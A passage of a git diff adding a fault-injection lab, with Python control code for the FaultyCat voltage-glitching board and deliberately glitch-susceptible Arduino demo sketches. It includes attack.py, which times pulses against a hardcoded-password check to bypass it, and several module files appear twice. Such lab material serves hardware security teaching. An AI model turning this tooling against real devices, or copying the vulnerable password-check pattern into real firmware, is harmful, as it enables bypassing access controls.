+ +def is_valid_number(number): + if number < 0: + raise typer.BadParameter("Number must be positive.") + return number + +class CMDInterface(cmd.Cmd): + intro = "Type help or ? to list commands.\n" + prompt = "?> " + file = None + doc_header = "Commands" + misc_header = "Misc Commands" + undoc_header = "Undocumented Commands" + + def __init__(self, faulty_worker): + super().__init__() + self.faulty_worker = faulty_worker + + def do_config(self, args): + """Configure the FaultyCat.""" + print("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}" + ) + table_config.add_row( + "Pulse time", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}", + ) + table_config.add_row( + "Pulse power", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}", + ) + table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}") + Console().print(table_config) + + def do_set(self, args): + """Set a parameter.""" + print("Setting a parameter...") + args_list = args.split() + if args == "help" or args == "?": + print("Available parameters:") + print("\t[time] pulse_time") + print("\t[count] pulse_count") + print("\tport") + return + + if len(args_list) != 2: + print("Invalid number of arguments.") + return + + if args_list[0] == "pulse_time" or args_list[0] == "time": + self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1]))) + + if args_list[0] == "pulse_count" or args_list[0] == "count": + self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1]))) + + if args_list[0] == "port": + self.faulty_worker.set_serial_port(args_list[1]) + if not self.faulty_worker.validate_serial_connection(): + typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED) + return + + self.do_config(args) + + def do_start(self, args): + """Start the FaultyCat.""" + print("Starting the FaultyCat...") + self.faulty_worker.start_faulty_attack() + + def do_exit(self, line): + """Exit the CLI.""" + return True diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py new file mode 100644 index 0000000..f795f79 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py @@ -0,0 +1,61 @@ +from enum import Enum + +class Commands(Enum): + COMMAND_HELP = "h" + COMMAND_ARM = "a" + COMMAND_DISARM = "d" + COMMAND_PULSE = "p" + COMMAND_ENABLE_TIMEOUT = "en" + COMMAND_DISABLE_TIMEOUT = "di" + COMMAND_FAST_TRIGGER = "f" + COMMAND_FAST_TRIGGER_CONF = "fa" + COMMAND_INTERNAL_HVP = "ih" + COMMAND_EXTERNAL_HVP = "eh" + COMMAND_CONFIGURE = "c" + COMMAND_TOGGLE_GPIO = "t" + COMMAND_STATUS = "s" + COMMAND_RESET = "r" + + def __str__(self): + return self.value + +class BoardStatus(Enum): + STATUS_ARMED = "armed" + STATUS_DISARMED = "disarmed" + STATUS_CHARGED = "charged" + STATUS_PULSE = "pulsed" + STATUS_NOT_CHARGED = "Not Charged" + STATUS_TIMEOUT_ACTIVE = "Timeout active" + STATUS_TIMEOUT_DEACT = "Timeout deactivated" + STATUS_HVP_INTERVAL = "HVP interval" + + def __str__(self): + return self.value + + @classmethod + def get_status_by_value(cls, value): + for status in cls.__members__.values(): + if status.value == value: + return status + return None + +class ConfigBoard: + BOARD_CONFIG = { + "pulse_time" : 1.0, + "pulse_power": 0.012200, + "pulse_count": 1, + "port" : "COM1" + } + def __init__(self) -> None: + self.board_config = ConfigBoard.BOARD_CONFIG + self.board_commands = Commands + + def get_config(self) -> dict: + return self.board_config + + def set_config(self, config: dict) -> None: + self.board_config = config + + def __str__(self) -> str: + return f"Board config: {self.board_config}" + \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py new file mode 100644 index 0000000..3fd677f --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py @@ -0,0 +1,97 @@ +import platform +import serial +import time +import serial.tools.list_ports +import threading + +from .ConfigBoard import BoardStatus + +if platform.system() == "Windows": + DEFAULT_COMPORT = "COM1" +else: + DEFAULT_COMPORT = "/dev/ttyACM0" + +DEFAULT_SERIAL_BAUDRATE = 921600 + +class UART(threading.Thread): + def __init__(self, serial_port: str = DEFAULT_COMPORT): + self.serial_worker = serial.Serial() + self.serial_worker.port = serial_port + self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE + self.recv_cancel = False + #self.daemon = True + + def __del__(self): + self.serial_worker.close() + + def __str__(self): + return f"Serial port: {self.serial_worker.port}" + + def set_serial_port(self, serial_port: str): + self.serial_worker.port = serial_port + + def set_serial_baudrate(self, serial_baudrate: int): + self.serial_worker.baudrate = serial_baudrate + + def is_valid_connection(self) -> bool: + try: + self.open() + self.close() + return True + except serial.SerialException as e: + return False + + def get_serial_ports(self): + return serial.tools.list_ports.comports() + + def reset_buffer(self): + self.serial_worker.reset_input_buffer() + self.serial_worker.reset_output_buffer() + + def cancel_recv(self): + self.recv_cancel = True + + def open(self): + self.serial_worker.open() + self.reset_buffer() + + def close(self): + self.reset_buffer() + self.serial_worker.close() + + def is_connected(self): + return self.serial_worker.is_open + + def send(self, data): + self.serial_worker.write(data) + self.serial_worker.write(b"\n\r") + self.serial_worker.flush() + + def recv(self): + if not self.is_connected(): + self.open() + try: + while not self.recv_cancel: + time.sleep(0.1) + + bytestream = self.serial_worker.readline() + if self.recv_cancel: + self.recv_cancel = False + return None + return bytestream + except serial.SerialException as e: + print(e) + return None + except KeyboardInterrupt: + self.recv_cancel = True + return None + + def send_recv(self, data): + self.send(data) + return self.recv() + + def stop_worker(self): + self.recv_cancel = True + self.reset_buffer() + self.close() + self.join() \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py new file mode 100644 index 0000000..0bb2e54 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py @@ -0,0 +1,68 @@ +import threading +import time +import typer +from rich.console import Console +from rich.table import Table + +from .UART import UART +from .ConfigBoard import ConfigBoard + +class FaultyWorker(threading.Thread): + def __init__(self): + super().__init__() + #self.daemon = True + self.workers = [] + self.board_uart = UART() + self.board_configurator = ConfigBoard() + self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"] + self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"] + + def add_worker(self, worker): + self.workers.append(worker) + + def stop_workers(self): + for worker in self.workers: + worker.join() + + def run_workers(self): + for worker in self.workers: + worker.start() + + def set_serial_port(self, serial_port): + self.board_uart.set_serial_port(serial_port) + + def validate_serial_connection(self): + return self.board_uart.is_valid_connection() + + def set_pulse_count(self, pulse_count): + self.pulse_count = pulse_count + self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count + + def set_pulse_time(self, pulse_time): + self.pulse_time = pulse_time + self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time + + def start_faulty_attack(self): + try: + self.board_uart.open() + time.sleep(0.1) + typer.secho("Board connected.", fg=typer.colors.GREEN) + typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + typer.secho("[*] ARMED BOARD.", fg=typer.colors.BRIGHT_GREEN) + time.sleep(1) + typer.secho(f"[*] SENDING {self.pulse_count} PULSES.", fg=typer.colors.BRIGHT_GREEN) + for i in range(self.pulse_count): + typer.secho(f"\t- SENDING PULSE {i+1} OF {self.pulse_count}.", fg=typer.colors.BRIGHT_GREEN) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + time.sleep(self.pulse_time) + + typer.secho("DISARMING BOARD.", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + self.board_uart.close() + typer.secho("BOARD DISARMING.", fg=typer.colors.BRIGHT_YELLOW) + except Exception as e: + typer.secho(f"Error: {e}", fg=typer.colors.BRIGHT_RED) \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__init__.py b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py new file mode 100644 index 0000000..e69de29 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__init__.py diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc new file mode 100644 index 0000000..f503922 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/CmdInterface.cpython-37.pyc Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc new file mode 100644 index 0000000..b36d3c6 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/__pycache__/ConfigBoard.cpython-37.pyc Binary files differ diff --git a/FaultInjection/README.md b/FaultInjection/README.md new file mode 100644 index 0000000..3c9e6b2 --- /dev/null +++ b/FaultInjection/README.md @@ -0,0 +1,4 @@ +Fault Injection +=============== + +Dump of useful fault injection / glitching scripts and examples \ No newline at end of file diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png new file mode 100644 index 0000000..41bfaca --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/cause_restart.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino new file mode 100644 index 0000000..abd3514 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.0.ino @@ -0,0 +1,16 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup(){ + Serial.begin(9600); + Serial.println("Initializing..."); +} + +void loop() { + // put your main code here, to run repeatedly: + Serial.println("running"); + delay(1000); +} diff --git a/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino new file mode 100644 index 0000000..8ae9bee --- /dev/null +++ b/FaultInjection/examples/FaultyCat/01_simple_restart/example_v1.2_pretty.ino @@ -0,0 +1,37 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(2000); // Delay to give time for the setup message +} + +void loop() { + static int dotCount = 0; // Keeps track of how many dots are printed + + // Create the base "running" message followed by spaces to clear previous dots + Serial.print("running"); + + // Add the appropriate number of dots + for (int i = 0; i < dotCount; i++) { + Serial.print("."); + } + + // Clear any extra dots from previous loops by adding spaces + for (int i = dotCount; i < 3; i++) { + Serial.print(" "); + } + + // Use carriage return to overwrite the line on the next iteration + Serial.print("\r"); + + // Update the dot count, cycling from 0 to 3 + dotCount = (dotCount + 1) % 4; // Cycles through 0, 1, 2, 3 dots + + delay(1000); // 1-second delay before updating +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino new file mode 100644 index 0000000..e9ffa78 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/example_v2.0.ino @@ -0,0 +1,62 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + randomSeed(analogRead(0)); // Seed the random number generator for more randomness + delay(2000); // Delay for initialization +} + +void loop() { + // Generate one random number and assign it to both variables + volatile int originalNumber = random(10, 100); + volatile int num1 = originalNumber; + volatile int num2 = originalNumber; + + // Perform reversible operations to increase glitch susceptibility but keep values comparable + num1 = num1 ^ 0x55; // XOR num1 with 0x55 + num2 = num2 ^ 0x55; // XOR num2 with 0x55 + + delayMicroseconds(5); // Critical timing for glitches + + num1 = num1 ^ 0x55; // XOR again to reverse + num2 = num2 ^ 0x55; // XOR again to reverse + + delayMicroseconds(5); // Another critical timing for glitches + + // Extract the first and second digits + volatile int num1FirstDigit = num1 / 10; // Get the first digit of num1 + volatile int num1SecondDigit = num1 % 10; // Get the second digit of num1 + + delayMicroseconds(5); // More chances for glitches + + volatile int num2FirstDigit = num2 / 10; // Get the first digit of num2 + volatile int num2SecondDigit = num2 % 10; // Get the second digit of num2 + + delayMicroseconds(5); // Increased vulnerability + + // Check if the numbers still match after the potential glitch + int match = 0; + if (num1FirstDigit == num2FirstDigit) { + if (num1SecondDigit == num2SecondDigit) { + match = 1; + } + } + + if (match == 1) { + Serial.print("Numbers match: "); Serial.print(num1); Serial.print(" "); Serial.print(num2); Serial.print("\r"); + } else { + Serial.print("Glitch detected! Numbers do not match: "); + Serial.print(num1); Serial.print(" "); Serial.print(num2); + Serial.print(" ("); Serial.print(num1FirstDigit); Serial.print(":"); Serial.print(num1SecondDigit); Serial.print(") "); + Serial.print("("); Serial.print(num2FirstDigit); Serial.print(":"); Serial.print(num2SecondDigit); Serial.println(")"); + Serial.println(" "); + } + + delay(100); // Shorter delay to increase glitch detection chances +} diff --git a/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png new file mode 100644 index 0000000..184f47e --- /dev/null +++ b/FaultInjection/examples/FaultyCat/02_match_numbers/no_match.png Binary files differ diff --git a/FaultInjection/examples/FaultyCat/03_password_check/attack.py b/FaultInjection/examples/FaultyCat/03_password_check/attack.py new file mode 100644 index 0000000..5855b9c --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/attack.py @@ -0,0 +1,200 @@ +import sys +import time +import pexpect # Required to handle screen sessions +import threading +from Modules import Worker + +DEFAULT_COMPORT = "/dev/ttyACM0" +SCREEN_NAME = "ttyUSB0_screen" # Replace this with the actual screen session name + +# Initialize the FaultyWorker +faulty_worker = Worker.FaultyWorker() +# Shared variable to store the response from the device +device_response = None +child = None # Global child variable + +def initialize_child(): + """Initialize the global child process for the screen session.""" + global child + child = pexpect.spawn(f'screen -x {SCREEN_NAME}', encoding='utf-8') + child.expect(pexpect.TIMEOUT, timeout=1) # Clear out any pre-existing buffer + +def send_test_message_and_read_response(): + """Send 'ping' via screen to a serial device and check for 'correct!\\n' or 'incorrect\\n'.""" + global child + + # Send 'ping' to the screen session + child.sendline("ping") + sys.stdout.write("\rSent 'ping' to screen session.") + sys.stdout.flush() + + # Wait a bit to ensure the command is processed + time.sleep(0.5) + + # Try reading any new output from the screen session + try: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + if "pong" in response: + sys.stdout.write("\rReceived 'pong' response.") + return True + else: + sys.stdout.write(f"\rReceived unexpected response: {response}") + sys.stdout.flush() + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + + return False + +def read_screen_output(): + """Read output from the screen session in a separate thread.""" + global device_response + buffer = "" # Initialize a buffer to store incoming characters + + try: + while True: + response = child.read_nonblocking(size=1024, timeout=2) # Read up to 1024 bytes of new data + buffer += response # Append the new response to the buffer + + # Check if there's a complete line in the buffer + while "\n" in buffer: + line, buffer = buffer.split("\n", 1) # Split the buffer at the first newline + line = line.strip() # Remove any leading/trailing whitespace + + # Check for specific responses + if "incorrect!" in line: + #sys.stdout.write("\rReceived 'incorrect' response.") + device_response = 'incorrect' + return # Exit the loop on incorrect response + elif "correct" in line: + # Die here: Echo message, disarm device, and kill the program + sys.stdout.write("\nReceived 'correct' response.\n PWNT, U R ADMIN\n Disarming the device and exiting...\n") + sys.stdout.flush() + + # Disarm the board + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + + # Exit the program + sys.exit(0) + + else: + sys.stdout.write(f"\rReceived unexpected response: {line}") + sys.stdout.flush() + + except pexpect.exceptions.TIMEOUT: + sys.stdout.write("\rNo response received from the screen session (timeout).") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError reading from screen session: {e}") + sys.stdout.flush() + +def send_pulse_and_check_response(): + """Send a pulse and check for 'correct!\\n' or 'incorrect\\n' response in parallel.""" + global device_response + try: + # Wait a bit to ensure the command is processed + + + # Send 'incorrectPassword' command to the screen session + sys.stdout.write("\rSending 'incorrectPassword' to screen session.") + sys.stdout.flush() + child.sendline("incorrectPassword") + + time.sleep(0.35) + + # Send 'pulse' command (simulating the pulse trigger) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_PULSE.value.encode("utf-8")) + sys.stdout.write("\rSent pulse...") + sys.stdout.flush() + + # Start a thread to read the screen output + reader_thread = threading.Thread(target=read_screen_output) + reader_thread.start() + + # Wait for the reading thread to complete + reader_thread.join() + + except Exception as e: + sys.stdout.write(f"\rError interacting with screen session during pulse: {e}") + sys.stdout.flush() + return False + +def start_faulty_attack(): + """Send a pulse through the FaultyCat and listen for the response concurrently.""" + global child + try: + # Initialize the child process for screen session + initialize_child() + + # Open FaultyCat connection + faulty_worker.board_uart.open() + time.sleep(0.1) + sys.stdout.write("\rBoard connected.\n") + sys.stdout.flush() + + # Arming the board + sys.stdout.write("\r[*] ARMING BOARD, BE CAREFUL!\n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + sys.stdout.write("\r[*] ARMED BOARD.\n") + sys.stdout.flush() + time.sleep(1) + + # Sending pulses and checking responses in a loop (up to 5 times) + max_iterations = 5 + for i in range(max_iterations): + sys.stdout.write(f"\rLoop {i+1}/{max_iterations}: Sending pulse and checking response.\n") + sys.stdout.flush() + + # Send the test message and check for pong + if send_test_message_and_read_response(): + + max_iterations_2 = 3 + for j in range(max_iterations_2): + # Send pulse and check for correct/incorrect response + if send_pulse_and_check_response(): + break # Break the loop if 'correct!' is received + + # Small delay before next iteration + time.sleep(1) + + # Disarm the board + sys.stdout.write("\rDISARMING BOARD. \n") + sys.stdout.flush() + faulty_worker.board_uart.send(faulty_worker.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + faulty_worker.board_uart.close() + sys.stdout.write("\rBOARD DISARMED.\n") + sys.stdout.flush() + except Exception as e: + sys.stdout.write(f"\rError: {e}\n") + sys.stdout.flush() + finally: + # Make sure to clean up the child process + if child: + child.close() + +def faulty(): + """Configure and send pulses through the FaultyCat.""" + comport = DEFAULT_COMPORT + + print("Configuring the FaultyCat...") + print(f"Using serial port: {comport}") + + # Set the serial port + faulty_worker.set_serial_port(comport) + + # Validate the serial connection + if not faulty_worker.validate_serial_connection(): + print(f"Error: Could not establish connection on: {comport}") + return + + # Start the faulty attack (send pulse) + start_faulty_attack() + +if __name__ == "__main__": + print("Starting FaultyCat...") + faulty() diff --git a/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino new file mode 100644 index 0000000..ec5db1f --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/example_v3.0.ino @@ -0,0 +1,83 @@ +#include <SoftwareSerial.h> + +#define RX 3 // *** D3, Pin 2 +#define TX 4 // *** D4, Pin 3 +SoftwareSerial Serial(RX, TX); + +const String correctPassword = "secure123"; // Hardcoded password +String inputString = ""; // Variable to hold user input +bool stringComplete = false; // Flag to indicate when a string is complete +bool loggedIn = false; + +void setup() { + Serial.begin(9600); + Serial.println(" "); + Serial.println("Initializing..."); + delay(200); // Delay for initialization + Serial.print("[-]> "); +} + +void prompt(){ + // Reset for the next input without checking password + inputString = ""; + stringComplete = false; + if(loggedIn == false){ + Serial.print("[-]"); // not logged in + }else{ + Serial.print("[+]"); // logged in + } + Serial.print("> "); +} + +void loop() { + // If the string is complete, process the input + if (stringComplete) { + // Glitch-prone section: making the comparison more complex and glitch-susceptible + volatile bool match = false; // Using 'volatile' to increase glitch vulnerability + + // Introduce some artificial delays (vulnerable points for glitching) + for (volatile int i = 0; i < 100; i++) { + delayMicroseconds(1); // Short delay to give more opportunity for glitches + } + + // Dummy operation: XOR password with itself (reversible) before comparison + volatile String tempPassword = correctPassword; + for (int i = 0; i < tempPassword.length(); i++) { + tempPassword[i] ^= 0xFF; // XOR with 0xFF (dummy operation to increase complexity) + tempPassword[i] ^= 0xFF; // XOR back to restore original password + } + + // Check if input is "ping" + if (inputString == "ping") { + Serial.println("pong"); // Respond with "pong" if input is "ping" + prompt(); + return; // Exit the loop to avoid further processing (no "Password incorrect!" after "pong") + } + // Now compare the user input with the hardcoded password, but with timing window + else if (inputString == correctPassword) { + match = true; // Passwords match + } + + // Add a chance for glitches to affect this critical condition + if (match) { + Serial.println("Password correct!"); + loggedIn = true; + } else { + Serial.println("Password incorrect!"); + } + prompt(); + } + + // Listen for input from the user + while (Serial.available()) { + char inChar = (char)Serial.read(); // Read the incoming character + + // Check if it is the return character (indicating the end of input) + if (inChar == '\r' || inChar == '\n') { + stringComplete = true; + } else { + // Append the character to the input string + inputString += inChar; + } + } +} diff --git a/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png new file mode 100644 index 0000000..05d97a6 --- /dev/null +++ b/FaultInjection/examples/FaultyCat/03_password_check/pass_correct_01.png Binary files differ diff --git a/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py new file mode 100644 index 0000000..0aacecf --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/CmdInterface.py @@ -0,0 +1,80 @@ +import cmd +import typer +from rich.console import Console +from rich.table import Table + + +def is_valid_number(number): + if number < 0: + raise typer.BadParameter("Number must be positive.") + return number + +class CMDInterface(cmd.Cmd): + intro = "Type help or ? to list commands.\n" + prompt = "?> " + file = None + doc_header = "Commands" + misc_header = "Misc Commands" + undoc_header = "Undocumented Commands" + + def __init__(self, faulty_worker): + super().__init__() + self.faulty_worker = faulty_worker + + def do_config(self, args): + """Configure the FaultyCat.""" + print("Configuring the FaultyCat...") + table_config = Table(title="Board configuration") + table_config.add_column("Parameter", style="cyan") + table_config.add_column("Value", style="magenta") + table_config.add_row( + "Serial port", f"{self.faulty_worker.board_uart.serial_worker.port}" + ) + table_config.add_row( + "Pulse time", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_time']}", + ) + table_config.add_row( + "Pulse power", + f"{self.faulty_worker.board_configurator.BOARD_CONFIG['pulse_power']}", + ) + table_config.add_row("Pulse count", f"{self.faulty_worker.pulse_count}") + Console().print(table_config) + + def do_set(self, args): + """Set a parameter.""" + print("Setting a parameter...") + args_list = args.split() + if args == "help" or args == "?": + print("Available parameters:") + print("\t[time] pulse_time") + print("\t[count] pulse_count") + print("\tport") + return + + if len(args_list) != 2: + print("Invalid number of arguments.") + return + + if args_list[0] == "pulse_time" or args_list[0] == "time": + self.faulty_worker.set_pulse_time(is_valid_number(float(args_list[1]))) + + if args_list[0] == "pulse_count" or args_list[0] == "count": + self.faulty_worker.set_pulse_count(is_valid_number(int(args_list[1]))) + + if args_list[0] == "port": + self.faulty_worker.set_serial_port(args_list[1]) + if not self.faulty_worker.validate_serial_connection(): + typer.secho("Invalid serial port.", fg=typer.colors.BRIGHT_RED) + return + + self.do_config(args) + + def do_start(self, args): + """Start the FaultyCat.""" + print("Starting the FaultyCat...") + self.faulty_worker.start_faulty_attack() + + def do_exit(self, line): + """Exit the CLI.""" + return True diff --git a/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py new file mode 100644 index 0000000..f795f79 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/ConfigBoard.py @@ -0,0 +1,61 @@ +from enum import Enum + +class Commands(Enum): + COMMAND_HELP = "h" + COMMAND_ARM = "a" + COMMAND_DISARM = "d" + COMMAND_PULSE = "p" + COMMAND_ENABLE_TIMEOUT = "en" + COMMAND_DISABLE_TIMEOUT = "di" + COMMAND_FAST_TRIGGER = "f" + COMMAND_FAST_TRIGGER_CONF = "fa" + COMMAND_INTERNAL_HVP = "ih" + COMMAND_EXTERNAL_HVP = "eh" + COMMAND_CONFIGURE = "c" + COMMAND_TOGGLE_GPIO = "t" + COMMAND_STATUS = "s" + COMMAND_RESET = "r" + + def __str__(self): + return self.value + +class BoardStatus(Enum): + STATUS_ARMED = "armed" + STATUS_DISARMED = "disarmed" + STATUS_CHARGED = "charged" + STATUS_PULSE = "pulsed" + STATUS_NOT_CHARGED = "Not Charged" + STATUS_TIMEOUT_ACTIVE = "Timeout active" + STATUS_TIMEOUT_DEACT = "Timeout deactivated" + STATUS_HVP_INTERVAL = "HVP interval" + + def __str__(self): + return self.value + + @classmethod + def get_status_by_value(cls, value): + for status in cls.__members__.values(): + if status.value == value: + return status + return None + +class ConfigBoard: + BOARD_CONFIG = { + "pulse_time" : 1.0, + "pulse_power": 0.012200, + "pulse_count": 1, + "port" : "COM1" + } + def __init__(self) -> None: + self.board_config = ConfigBoard.BOARD_CONFIG + self.board_commands = Commands + + def get_config(self) -> dict: + return self.board_config + + def set_config(self, config: dict) -> None: + self.board_config = config + + def __str__(self) -> str: + return f"Board config: {self.board_config}" + \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/UART.py b/FaultInjection/prereqs/FaultyCat/Modules/UART.py new file mode 100644 index 0000000..3fd677f --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/UART.py @@ -0,0 +1,97 @@ +import platform +import serial +import time +import serial.tools.list_ports +import threading + +from .ConfigBoard import BoardStatus + +if platform.system() == "Windows": + DEFAULT_COMPORT = "COM1" +else: + DEFAULT_COMPORT = "/dev/ttyACM0" + +DEFAULT_SERIAL_BAUDRATE = 921600 + +class UART(threading.Thread): + def __init__(self, serial_port: str = DEFAULT_COMPORT): + self.serial_worker = serial.Serial() + self.serial_worker.port = serial_port + self.serial_worker.baudrate = DEFAULT_SERIAL_BAUDRATE + self.recv_cancel = False + #self.daemon = True + + def __del__(self): + self.serial_worker.close() + + def __str__(self): + return f"Serial port: {self.serial_worker.port}" + + def set_serial_port(self, serial_port: str): + self.serial_worker.port = serial_port + + def set_serial_baudrate(self, serial_baudrate: int): + self.serial_worker.baudrate = serial_baudrate + + def is_valid_connection(self) -> bool: + try: + self.open() + self.close() + return True + except serial.SerialException as e: + return False + + def get_serial_ports(self): + return serial.tools.list_ports.comports() + + def reset_buffer(self): + self.serial_worker.reset_input_buffer() + self.serial_worker.reset_output_buffer() + + def cancel_recv(self): + self.recv_cancel = True + + def open(self): + self.serial_worker.open() + self.reset_buffer() + + def close(self): + self.reset_buffer() + self.serial_worker.close() + + def is_connected(self): + return self.serial_worker.is_open + + def send(self, data): + self.serial_worker.write(data) + self.serial_worker.write(b"\n\r") + self.serial_worker.flush() + + def recv(self): + if not self.is_connected(): + self.open() + try: + while not self.recv_cancel: + time.sleep(0.1) + + bytestream = self.serial_worker.readline() + if self.recv_cancel: + self.recv_cancel = False + return None + return bytestream + except serial.SerialException as e: + print(e) + return None + except KeyboardInterrupt: + self.recv_cancel = True + return None + + def send_recv(self, data): + self.send(data) + return self.recv() + + def stop_worker(self): + self.recv_cancel = True + self.reset_buffer() + self.close() + self.join() \ No newline at end of file diff --git a/FaultInjection/prereqs/FaultyCat/Modules/Worker.py b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py new file mode 100644 index 0000000..0bb2e54 --- /dev/null +++ b/FaultInjection/prereqs/FaultyCat/Modules/Worker.py @@ -0,0 +1,68 @@ +import threading +import time +import typer +from rich.console import Console +from rich.table import Table + +from .UART import UART +from .ConfigBoard import ConfigBoard + +class FaultyWorker(threading.Thread): + def __init__(self): + super().__init__() + #self.daemon = True + self.workers = [] + self.board_uart = UART() + self.board_configurator = ConfigBoard() + self.pulse_count = self.board_configurator.BOARD_CONFIG["pulse_count"] + self.pulse_time = self.board_configurator.BOARD_CONFIG["pulse_time"] + + def add_worker(self, worker): + self.workers.append(worker) + + def stop_workers(self): + for worker in self.workers: + worker.join() + + def run_workers(self): + for worker in self.workers: + worker.start() + + def set_serial_port(self, serial_port): + self.board_uart.set_serial_port(serial_port) + + def validate_serial_connection(self): + return self.board_uart.is_valid_connection() + + def set_pulse_count(self, pulse_count): + self.pulse_count = pulse_count + self.board_configurator.BOARD_CONFIG["pulse_count"] = pulse_count + + def set_pulse_time(self, pulse_time): + self.pulse_time = pulse_time + self.board_configurator.BOARD_CONFIG["pulse_time"] = pulse_time + + def start_faulty_attack(self): + try: + self.board_uart.open() + time.sleep(0.1) + typer.secho("Board connected.", fg=typer.colors.GREEN) + typer.secho("[*] ARMING BOARD, BE CAREFULL!", fg=typer.colors.BRIGHT_YELLOW) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_DISARM.value.encode("utf-8")) + time.sleep(1) + self.board_uart.send(self.board_configurator.board_commands.COMMAND_ARM.value.encode("utf-8")) + + typer.secho("[*] ARMED BOARD.", 